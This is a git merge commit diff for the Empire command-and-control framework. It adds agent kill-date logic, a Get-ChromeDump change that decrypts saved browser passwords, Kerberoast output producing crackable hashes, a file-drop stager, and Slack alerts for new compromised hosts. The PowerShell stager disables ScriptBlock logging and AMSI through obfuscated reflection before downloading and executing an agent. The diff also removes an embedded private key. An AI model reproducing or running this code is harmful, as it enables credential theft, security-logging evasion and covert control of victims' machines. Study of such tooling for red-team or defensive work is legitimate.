Merge remote-tracking branch 'upstream/dev' into dev

websockets-multiuser
Carrie Roberts 2017-10-13 10:34:53 -06:00
commit acdb393a01
113 changed files with 4853 additions and 462 deletions

View File

@ -1,18 +1,37 @@
Running
--------
- Update crontab to work hourly #667
- Update keylogger to log to disk on server side by @clr2of8
- Fix macro launcher #681
- Fixes vbscript string literal quoting. #702
- Add option to host a stager payload in the http listener @424f424f
- Add @enigma0x3 Token Manipulation script as a BypassUAC module @424f424f
- Hide true host name when using domain fronting #730 @clr2of8
- Fixed custom proxy config in launcher code #728 @dirkjanm
- generate_upload function added to Stagers #722 @hightopfade
- Aes kerberoast #725 @elitest
- DBX Improvements (SOCKS, Hide window via WindowHandler) #721 @IljaSchumacher
- Improved ScriptBlock logging bypasses #740 @cobbr_io
- Slack Integration - Notification for new Agents #737 @dchrastil
- Improve Get-ChromeDump #734 @ThePirateWhoSmellsOfSunFlowers
- Fix Eternal Blue Issue #656
- Merge Invoke-Kerberoast: Print hashes only. Formatting with a text editor is no longer required. #663
- Fix Macro syntax error per @utkusen issue #664
- Fix Better powershell install, obfuscation bug fixes, fixed vbs/macro launchers #686 @cobbr
- Fix creds manual add parsing with whitespace in password
- Fix validate length parameter attribute for Invoke-PSInject.ps1d
8/28/2017
--------
- Version 2.1 Master Release
-Add get schwifty trollsploit module @424f424f
-Add -sta flag to launcher @xorrior
-Fixed hardoced cert path @xorrior
-Fixed hardcoded cert path @xorrior
-Fix for #567
-Merge Capture OSX credentials from Prompt Module in Empire DB @malcomvetter.
-Rest Api fixups #526 @byt3bl33d3r
-Rest API fixups #526 @byt3bl33d3r
-Added MS16-135 exploit module @ThePirateWhoSmellsOfSunflowers
-Updated Bloodhound Ingestion module @rvrsh3ll
-Updated Bloodhound Ingestion module @424f424f
-Added Dropbox exfil module @ktevora1
-Added EternalBlue module @ktevora1
-Fix SSL certificate issue with Flask @diskonnect
@ -24,7 +43,7 @@ Running
-Add SandboxMode to evade Apple Sandbox protection on applescript #578 @dchrastil
-Add Obfuscated Empire #597 @cobbr
-Add Bypass ScriptBlock Logging #603 @cobbr
-Add mimipenguin module @rvrsh3ll
-Add mimipenguin module @424f424f
-Add dyld_print_to_file Mac privesc @checkyfuntime
-Added manual proxy specifications @xorrior
-Fix libssl-dev and libssl1.0.0 packages @xorrior

View File

@ -114,6 +114,10 @@ function Invoke-Empire {
$script:KillDate = (Get-Date).AddDays($KillDays).ToString('MM/dd/yyyy')
}
if($KillDate -ne "REPLACE_KILLDATE" -and $KillDate -ne $null) {
$script:KillDate = $KillDate
}
# get all the headers/etc. in line for our comms
# Profile format:
# uris(comma separated)|UserAgent|header1=val|header2=val2...

View File

@ -42,9 +42,9 @@ missedCheckins = 0
jobMessageBuffer = ''
# killDate form -> "MO/DAY/YEAR"
killDate = ''
killDate = 'REPLACE_KILLDATE'
# workingHours form -> "9:00-17:00"
workingHours = ''
workingHours = 'REPLACE_WORKINGHOURS'
parts = profile.split('|')
taskURIs = parts[0].split(',')
@ -880,7 +880,7 @@ def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
while(True):
try:
if workingHours != '':
if workingHours != '' and 'WORKINGHOURS' not in workingHours:
try:
start,end = workingHours.split('-')
now = datetime.datetime.now()
@ -897,10 +897,14 @@ while(True):
# check if we're past the killdate for this agent
# killDate form -> MO/DAY/YEAR
if killDate != "":
if killDate != "" and 'KILLDATE' not in killDate:
now = datetime.datetime.now().date()
killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date()
if now > killDateTime:
try:
killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date()
except:
pass
if now >= killDateTime:
msg = "[!] Agent %s exiting" %(sessionID)
send_message(build_response_packet(2, msg))
agent_exit()

View File

@ -224,7 +224,7 @@ function Start-Negotiate {
[GC]::Collect();
# TODO: remove this shitty $server logic
Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -ProxySettings $Script:Proxy;
Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;
}
# $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners
Start-Negotiate -s "$ser" -SK 'REPLACE_STAGING_KEY' -UA $u;

View File

@ -799,6 +799,8 @@ sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _
# server configuration information
stagingKey = "REPLACE_STAGING_KEY"
profile = 'REPLACE_PROFILE'
WorkingHours = 'SET_WORKINGHOURS'
KillDate = 'SET_KILLDATE'
parts = profile.split('|')
taskURIs = parts[0].split(',')
@ -863,4 +865,6 @@ response = post_message(postURI, routingPacket)
# step 6 -> server sends HMAC(AES)
agent = aes_decrypt_and_verify(key, response)
agent = agent.replace('REPLACE_WORKINGHOURS', WorkingHours)
agent = agent.replace('REPLACE_KILLDATE', KillDate)
exec(agent)

View File

@ -1,46 +0,0 @@
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDT8qCR+GR2lVKG
M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT
zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O
V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk
p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK
WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T
bwGOQI3XAgMBAAECggEBANNjZiqwJuLuw0P+MwzG4WMahqyDe/w4D3AmnBXtP2G1
TOLspxhbSvChXjocydLGpTAqmjQaXsfqF9JJd6OISUCVUir8D+xhztZF7SUt2Mk7
KDtMSvx3Z3E+Qeyp2wW+tHxXz2bmi2pRDFTa8EhZvdLTA9JQ5WyLuYc1zi+ZNxz6
SzybS0Th9RJT0crPuhxEHxAN50pc61trRnI2YHYTaW4ArRbNFXImqRLsU9l9h9kz
VVlVoP9oIJos2a40Osi3Du+6tmVFWcs9+fxxNnY1sfVrAVk6nHI40Vln4Ul+BZyo
ZP8SMnxI9NoSMJahymjkcZad3tbwgvjq+yaQck1alGECgYEA/V14iLkCJoUK6dmU
zhR8p3Pycxy19s0CSSqPYvvnENfxarimOHW6nIMu0eDMXLVnIHAXsr81zWkeh4eP
GPEUSqclGwkXp4yHirMtoTFWhbo16QMSEFBKUHmwNJNSzScLR5jRGgVJapXr+qsN
WNlR3ifF+Ki6f87io9u8/rwUut0CgYEA1ibkSUs2POa0UcAXtE7G/Rsc7aEuVo9b
U+I5uIhMvveKm0Ff2oo1yQzDSxmjFhYzBeXsBQ6Jy796EcaLFpUc9H08kOsJq9gP
JAfSMljLasrqqAQ6J37CAmbEqHQ3MEdEFqUIk6Cf0iVmphXexd7LaDx2IuAy5Kfn
3MXH4KVo3kMCgYA2Yv4guzYO9rglAqPCqPspJuaAd0VIOTGoaw5kfRZYs0ILWp+z
tvHb7vz56Ht12yrL98PehtURxuLazOqWvAlTDRYV+5msSao+x7+fvmuIQTSZVCNo
hROuurBsWMOJbjwpnlAkecYMryn8oQM4c03zli4U9oMyNELKUbz8IXuBsQKBgQC0
4/klKBDSdJWQEFB1j61qEsLmvqVjnIgqXQcgppEdJf/AkQIkmWZBQzSbdTZa67mB
m+s3gkZHAqBb73eBRcdFhZvpVX+/1itD5g9ZU8PPm0OHVLrCrcG3QZOQL0qGz0vm
TNTnzl/xpIIGfKbGQSFUFO49G2Ah4Oprg+0IBvCD/QKBgQCZcIjPZDWMIRg/Q4Fj
ypUb59p8wCQHMuZNwuxRTwjQkAp3xpqYNIBafHSlPzNf8BWzx+orsLnh6RJbA8uB
9++4Wu01u4JofuGdVqN73AJBx8eQEJkJsPNEwxSv4Swzwkw5mGkqi5UzPFMlwwQi
DIF8+rA64PoZDIUB3UkV0i70ng==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIC8DCCAdigAwIBAgIJAIVXuX8kX4CxMA0GCSqGSIb3DQEBCwUAMA0xCzAJBgNV
BAYTAlVTMB4XDTE3MDUxNzA1NDkxNVoXDTE4MDUxNzA1NDkxNVowDTELMAkGA1UE
BhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDT8qCR+GR2lVKG
M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT
zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O
V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk
p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK
WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T
bwGOQI3XAgMBAAGjUzBRMB0GA1UdDgQWBBRietD7PGv5ivWBLRJMyra4elWlLjAf
BgNVHSMEGDAWgBRietD7PGv5ivWBLRJMyra4elWlLjAPBgNVHRMBAf8EBTADAQH/
MA0GCSqGSIb3DQEBCwUAA4IBAQCOU0aqgYba7aD7/7pV3rZrTFC+kwUs3TZ0/xWi
CZA8aN5+TRQDdvOUM1fqyJx5Y7uv+V9gafHwJAc7FZ9643zS6Zt0I2eUrbP9dmg7
sj8u19Isdy0EetDGXeyA7r+BRUSkFpKbXZYWE7rUr7t3QkROyGbU2ebEE/S2RnBc
A+/d7waKqIyu7wlmcP2jUgQjiwDiWJAuGeb9gJGsTjCj1I4z6rk6/xpnXV70ovG7
jUNm6tOTkxB5pgEel/2gHs/KZVld9gYSoh5GnJWtlFQYvZGaMEK419hfTMElLoQY
8JL+XvYxkA/4+zXtQS3ZgslAAZlh96Nx8SU8QWJ4qJ2jYQJg
-----END CERTIFICATE-----

View File

@ -139,18 +139,25 @@ Function Get-ChromeDump{
$logins = @()
# https://github.com/adobe/chromium/blob/master/webkit/forms/password_form.h#L45-L50
$scheme_enum = @{0 = "HTML";1 = "BASIC";2 = "DIGEST"; 3 = "OTHER"}
Write-Verbose "Parsing results of query $query"
$dataset.Tables | Select-Object -ExpandProperty Rows | ForEach-Object {
$encryptedBytes = $_.password_value
$username = $_.username_value
$url = $_.action_url
$action_url = $_.action_url
$origin_url = $_.origin_url
$scheme = $scheme_enum[[int]$_.scheme]
$decryptedBytes = [Security.Cryptography.ProtectedData]::Unprotect($encryptedBytes, $null, [Security.Cryptography.DataProtectionScope]::CurrentUser)
$plaintext = [System.Text.Encoding]::ASCII.GetString($decryptedBytes)
$login = New-Object PSObject -Property @{
URL = $url
ORIGIN_URL = $origin_url
ACTION_URL = $action_url
PWD = $plaintext
User = $username
USER = $username
SCHEME = $scheme
}
$logins += $login
@ -185,7 +192,7 @@ Function Get-ChromeDump{
if(!($OutFile)){
"[*]CHROME PASSWORDS`n"
$logins | Format-Table URL,User,PWD -AutoSize | Out-String
$logins | Format-List ORIGIN_URL, ACTION_URL, PWD, USER, SCHEME | Out-String
"[*]CHROME HISTORY`n"
@ -205,4 +212,4 @@ Function Get-ChromeDump{
}
}

View File

@ -562,6 +562,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
}
if ($TicketByteStream) {
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
$encType = [Convert]::ToInt32(($TicketHexStream -replace ".*A0030201")[0..1] -join "", 16)
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
$Parts.RemoveAt($Parts.Count - 1)
$Hash = $Parts -join 'A48201'
@ -582,13 +583,17 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format
$HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
$HashFormat = "`$krb5tgs`$$encType`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
Write-Output $Out
#Prints the PS Object
#Write-Output $Out
#Prints just the hashes
Write-Output $HashFormat
}
}
}
@ -1077,4 +1082,4 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
}

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

6
empire
View File

@ -4,6 +4,7 @@ import sqlite3, argparse, sys, argparse, logging, json, string
import os, re, time, signal, copy, base64, pickle
from flask import Flask, request, jsonify, make_response, abort, url_for
from time import localtime, strftime, sleep
import hashlib
from OpenSSL import SSL
from Crypto.Random import random
import ssl
@ -199,7 +200,6 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
# suppress all stdout and don't initiate the main cmdloop
sys.stdout = open(os.devnull, 'w')
# validate API token before every request except for the login URI
@app.before_request
def check_token():
@ -1160,7 +1160,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
return jsonify({'success': True})
if not os.path.exists('./data/empire.pem'):
if not os.path.exists('./data/empire-chain.pem'):
print "[!] Error: cannot find certificate ./data/empire.pem"
sys.exit()
@ -1220,7 +1220,6 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
signal.signal(signal.SIGINT, signal.default_int_handler)
sys.exit()
try:
signal.signal(signal.SIGINT, signal_handler)
except ValueError:
@ -1233,7 +1232,6 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)
if __name__ == '__main__':
parser = argparse.ArgumentParser()

View File

@ -1321,10 +1321,17 @@ class Agents:
# update the agent with this new information
self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listenerName, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)
# signal everyone that this agent is now active
dispatcher.send("[+] Initial agent %s from %s now active" % (sessionID, clientIP), sender='Agents')
# signal to Slack that this agent is now active
output = "[+] Agent %s now active:\n" % (sessionID)
slackToken = listenerOptions['SlackToken']['Value']
slackChannel = listenerOptions['SlackChannel']['Value']
if slackToken != "":
slackText = ":biohazard: NEW AGENT :biohazard:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID)
helpers.slackMessage(slackToken,slackChannel,slackText)
# signal everyone that this agent is now active
dispatcher.send("[+] Initial agent %s from %s now active (Slack)" % (sessionID, clientIP), sender='Agents')
# save the initial sysinfo information in the agent log
agent = self.mainMenu.agents.get_agent_db(sessionID)
output = messages.display_agent(agent, returnAsString=True)

View File

@ -9,7 +9,7 @@ menu loops.
"""
# make version for Empire
VERSION = "2.1"
VERSION = "2.2"
from pydispatch import dispatcher
@ -20,6 +20,7 @@ import os
import hashlib
import time
import fnmatch
import shlex
# Empire imports
import helpers
@ -468,10 +469,10 @@ class MainMenu(cmd.Cmd):
if filterTerm == "":
creds = self.credentials.get_credentials()
elif filterTerm.split()[0].lower() == "add":
elif shlex.split(filterTerm)[0].lower() == "add":
# add format: "domain username password <notes> <credType> <sid>
args = filterTerm.split()[1:]
args = shlex.split(filterTerm)[1:]
if len(args) == 3:
domain, username, password = args
@ -502,10 +503,10 @@ class MainMenu(cmd.Cmd):
creds = self.credentials.get_credentials()
elif filterTerm.split()[0].lower() == "remove":
elif shlex.split(filterTerm)[0].lower() == "remove":
try:
args = filterTerm.split()[1:]
args = shlex.split(filterTerm)[1:]
if len(args) != 1:
print helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'")
else:
@ -531,8 +532,8 @@ class MainMenu(cmd.Cmd):
return
elif filterTerm.split()[0].lower() == "export":
args = filterTerm.split()[1:]
elif shlex.split(filterTerm)[0].lower() == "export":
args = shlex.split(filterTerm)[1:]
if len(args) != 1:
print helpers.color("[!] Please supply an output filename/filepath.")
@ -541,13 +542,13 @@ class MainMenu(cmd.Cmd):
self.credentials.export_credentials(args[0])
return
elif filterTerm.split()[0].lower() == "plaintext":
elif shlex.split(filterTerm)[0].lower() == "plaintext":
creds = self.credentials.get_credentials(credtype="plaintext")
elif filterTerm.split()[0].lower() == "hash":
elif shlex.split(filterTerm)[0].lower() == "hash":
creds = self.credentials.get_credentials(credtype="hash")
elif filterTerm.split()[0].lower() == "krbtgt":
elif shlex.split(filterTerm)[0].lower() == "krbtgt":
creds = self.credentials.get_krbtgt()
else:
@ -761,6 +762,7 @@ class MainMenu(cmd.Cmd):
else:
files = [self.installPath + 'data/module_source/' + module]
for file in files:
file = self.installPath + file
if reobfuscate or not helpers.is_obfuscated(file):
print helpers.color("[*] Obfuscating " + os.path.basename(file) + "...")
else:
@ -1577,7 +1579,7 @@ class PowerShellAgentMenu(SubMenu):
try:
choice = raw_input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
if choice.lower() == "y":
self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT')
# update the agent log
@ -2333,7 +2335,7 @@ class PythonAgentMenu(SubMenu):
try:
choice = raw_input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
if choice.lower() == "y":
self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT')
# update the agent log

View File

@ -35,6 +35,7 @@ Includes:
complete_path() - helper to tab-complete file paths
dict_factory() - helper that returns the SQLite query results as a dictionary
KThread() - a subclass of threading.Thread, with a kill() method
slackMessage() - send notifications to the Slack API
"""
@ -54,6 +55,7 @@ from time import localtime, strftime
from Crypto.Random import random
import subprocess
import fnmatch
import urllib, urllib2
###############################################################
#
@ -65,7 +67,7 @@ def validate_ip(IP):
"""
Uses iptools to validate an IP.
"""
try:
try:
validate_IPv4 = iptools.ipv4.validate_ip(IP)
validate_IPv6 = iptools.ipv6.validate_ip(IP)
@ -91,7 +93,7 @@ def validate_ntlm(data):
def generate_ip_list(s):
"""
Takes a comma separated list of IP/range/CIDR addresses and
Takes a comma separated list of IP/range/CIDR addresses and
generates an IP range list.
"""
@ -103,7 +105,7 @@ def generate_ip_list(s):
ranges = ""
if s and s != "":
parts = s.split(",")
for part in parts:
p = part.split("-")
if len(p) == 2:
@ -119,7 +121,7 @@ def generate_ip_list(s):
return eval("iptools.IpRangeList("+ranges+")")
else:
return None
else:
return None
@ -211,13 +213,13 @@ def strip_powershell_comments(data):
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
"""
# strip block comments
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '\n', data)
# strip blank lines, lines starting with #, and verbose/debug statements
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
return strippedCode
@ -237,7 +239,7 @@ def get_powerview_psreflect_overhead(script):
else:
# otherwise extracting from PowerView
pattern = re.compile(r'\n\$Mod =.*\[\'wtsapi32\'\]', re.DOTALL)
try:
return strip_powershell_comments(pattern.findall(script)[0])
except:
@ -247,7 +249,7 @@ def get_powerview_psreflect_overhead(script):
def get_dependent_functions(code, functionNames):
"""
Helper that takes a chunk of PowerShell code and a set of function
Helper that takes a chunk of PowerShell code and a set of function
names and returns the unique set of function names within the script block.
"""
@ -307,13 +309,13 @@ def find_all_dependent_functions(functions, functionsToProcess, resultFunctions=
def generate_dynamic_powershell_script(script, functionNames):
"""
Takes a PowerShell script and a function name (or array of function names,
generates a dictionary of "[functionNames] -> functionCode", and recursively
generates a dictionary of "[functionNames] -> functionCode", and recursively
maps all dependent functions for the specified function name.
A script is returned with only the code necessary for the given
functionName, stripped of comments and whitespace.
Note: for PowerView, it will also dynamically detect if psreflect
Note: for PowerView, it will also dynamically detect if psreflect
overhead is needed and add it to the result script.
"""
@ -335,7 +337,7 @@ def generate_dynamic_powershell_script(script, functionNames):
# start building the new result script
functionDependencies = []
for functionName in functionNames:
for functionName in functionNames:
functionDependencies += find_all_dependent_functions(functions, functionName, [])
functionDependencies = unique(functionDependencies)
@ -369,12 +371,12 @@ def parse_credentials(data):
if parts[0].startswith("Hostname:"):
return parse_mimikatz(data)
# collection/prompt output
# powershell/collection/prompt output
elif parts[0].startswith("[+] Prompted credentials:"):
parts = parts[0].split("->")
if len(parts) == 2:
username = parts[1].split(":",1)[0].strip()
password = parts[1].split(":",1)[1].strip()
@ -383,13 +385,20 @@ def parse_credentials(data):
username = username.split("\\")[1].strip()
else:
domain = ""
return [("plaintext", domain, username, password, "", "")]
else:
print color("[!] Error in parsing prompted credential output.")
return None
# python/collection/prompt (Mac OS)
elif "text returned:" in parts[0]:
parts2 = parts[0].split("text returned:")
if len(parts2) >= 2:
password = parts2[-1]
return [("plaintext", "", "", password, "", "")]
else:
return None
@ -431,7 +440,7 @@ def parse_mimikatz(data):
lines2 = match.split("\n")
username, domain, password = "", "", ""
for line in lines2:
try:
if "Username" in line:
@ -444,7 +453,7 @@ def parse_mimikatz(data):
pass
if username != "" and password != "" and password != "(null)":
sid = ""
# substitute the FQDN in if it matches
@ -565,7 +574,7 @@ def get_datetime():
Return the current date/time
"""
return strftime("%Y-%m-%d %H:%M:%S", localtime())
def get_file_datetime():
"""
@ -628,7 +637,7 @@ def lhost():
for ifname in interfaces:
if "lo" not in ifname:
try:
ip = get_interface_ip(ifname)
ip = get_interface_ip(ifname)
if ip != "":
break
except:
@ -641,11 +650,11 @@ def color(string, color=None):
"""
Change text color for the Linux terminal.
"""
attr = []
# bold
attr.append('1')
if color:
if color.lower() == "red":
attr.append('31')
@ -672,7 +681,7 @@ def color(string, color=None):
def unique(seq, idfun=None):
"""
Uniquifies a list, order preserving.
from http://www.peterbe.com/plog/uniqifiers-benchmark
"""
if idfun is None:
@ -693,7 +702,7 @@ def unique(seq, idfun=None):
def uniquify_tuples(tuples):
"""
Uniquifies Mimikatz tuples based on the password.
cred format- (credType, domain, username, password, hostname, sid)
"""
seen = set()
@ -738,7 +747,7 @@ def complete_path(text, line, arg=False):
else:
# if we have "command path"
argData = line.split()[0:]
if not argData or len(argData) == 1:
completions = os.listdir('./')
else:
@ -746,7 +755,7 @@ def complete_path(text, line, arg=False):
if part == '':
dir = './'
elif dir == '':
dir = '/'
dir = '/'
completions = []
for f in os.listdir(dir):
@ -782,7 +791,7 @@ def get_module_source_files():
paths.append(os.path.join(root, filename))
return paths
def obfuscate(psScript, obfuscationCommand):
def obfuscate(installPath, psScript, obfuscationCommand):
"""
Obfuscate PowerShell scripts using Invoke-Obfuscation
"""
@ -790,13 +799,13 @@ def obfuscate(psScript, obfuscationCommand):
print color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.")
return ""
# When obfuscating large scripts, command line length is too long. Need to save to temp file
toObfuscateFilename = "data/misc/ToObfuscate.ps1"
obfuscatedFilename = "data/misc/Obfuscated.ps1"
toObfuscateFilename = installPath + "data/misc/ToObfuscate.ps1"
obfuscatedFilename = installPath + "data/misc/Obfuscated.ps1"
toObfuscateFile = open(toObfuscateFilename, 'w')
toObfuscateFile.write(psScript)
toObfuscateFile.close()
# Obfuscate using Invoke-Obfuscation w/ PowerShell
subprocess.call("powershell 'Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (toObfuscateFilename, convert_obfuscation_command(obfuscationCommand), obfuscatedFilename), shell=True)
subprocess.call("powershell -C '$ErrorActionPreference = \"SilentlyContinue\";Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (toObfuscateFilename, convert_obfuscation_command(obfuscationCommand), obfuscatedFilename), shell=True)
obfuscatedFile = open(obfuscatedFilename , 'r')
# Obfuscation writes a newline character to the end of the file, ignoring that character
psScript = obfuscatedFile.read()[0:-1]
@ -818,7 +827,8 @@ def obfuscate_module(moduleSource, obfuscationCommand="", forceReobfuscation=Fal
f.close()
# obfuscate and write to obfuscated source path
obfuscatedCode = obfuscate(psScript=moduleCode, obfuscationCommand=obfuscationCommand)
path = os.path.abspath('empire.py').split('empire.py')[0] + "/"
obfuscatedCode = obfuscate(path, moduleCode, obfuscationCommand)
obfuscatedSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(obfuscatedSource, 'w')
@ -878,3 +888,9 @@ class KThread(threading.Thread):
def kill(self):
self.killed = True
def slackMessage(slackToken, slackChannel, slackText):
url = "https://slack.com/api/chat.postMessage"
data = urllib.urlencode({'token': slackToken, 'channel':slackChannel, 'text':slackText})
req = urllib2.Request(url, data)
resp = urllib2.urlopen(req)

View File

@ -13,7 +13,6 @@ import pickle
import hashlib
import copy
class Listeners:
"""
Listener handling class.

View File

@ -459,3 +459,18 @@ class Stagers:
os.remove('Run.jar')
return jar
def generate_upload(self, file, path):
script = """
$b64 = "BASE64_BLOB_GOES_HERE"
$filename = "FILE_UPLOAD_FULL_PATH_GOES_HERE"
[IO.FILE]::WriteAllBytes($filename, [Convert]::FromBase64String($b64))
"""
file_encoded = base64.b64encode(file)
script = script.replace("BASE64_BLOB_GOES_HERE", file_encoded)
script = script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path)
return script

View File

@ -173,17 +173,25 @@ class Listener:
if language.startswith('po'):
# PowerShell
stager = ''
# replace with stager = '' for troubleshooting
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
stager += helpers.randomize_capitalization("$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
@ -191,6 +199,7 @@ class Listener:
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += "};"
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
@ -222,7 +231,7 @@ class Listener:
password = proxyCreds.split(':')[1]
domain = username.split('\\')[0]
usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");"
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
#save the proxy settings to use during the entire staging process and the agent
@ -252,7 +261,7 @@ class Listener:
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand)
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
@ -307,7 +316,7 @@ class Listener:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n"
launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
@ -484,7 +493,7 @@ class Listener:
#strip out comments and blank lines
code = helpers.strip_python_comments(code)
#patch some more
#patch some more
code = code.replace('delay = 60', 'delay = %s' % (delay))
code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter))
